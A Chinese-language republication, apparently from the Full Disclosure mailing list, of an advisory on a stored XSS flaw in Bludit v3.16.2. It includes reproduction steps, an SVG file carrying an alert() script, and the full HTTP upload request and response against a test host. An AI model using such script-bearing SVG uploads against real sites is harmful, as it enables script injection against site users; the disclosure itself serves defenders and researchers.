Bludit v3.16.2 SVG文件上传XSS漏洞分析

本文详细介绍了Bludit v3.16.2内容管理系统存在的SVG文件上传导致的跨站脚本(XSS)漏洞,包括漏洞复现步骤、恶意SVG文件构造方法以及HTTP请求/响应细节,为安全研究人员提供技术参考。

通过SVG文件上传实现XSS - bluditv3.16.2

发件人: Andrey Stoykov <mwebsec () gmail com> 日期: 2025年7月6日 22:50:26 +0100

漏洞信息

漏洞标题: 通过SVG文件上传实现XSS - bluditv3.16.2 日期: 2025年7月 漏洞作者: Andrey Stoykov 受影响版本: 3.16.2 测试环境: Debian 12 博客: https://msecureltd.blogspot.com/

XSS via SVG文件上传 #1

复现步骤:

  1. 使用管理员账户登录,点击"General" > “Logo”

恶意SVG文件内容:

1
2
3
4
5
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>

HTTP POST请求上传SVG文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="tokenCSRF"

59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="inputFile"; filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4--

HTTP响应:

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:16:10 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]

{"status":0,"message":"Image uploaded.","filename":"test.svg","absoluteURL":"http:\/\/192.168.58.133\/bludit\/bl-content\/uploads\/test.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/test.svg"}

通过Full Disclosure邮件列表发送 https://nmap.org/mailman/listinfo/fulldisclosure 网络存档和RSS:https://seclists.org/fulldisclosure/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计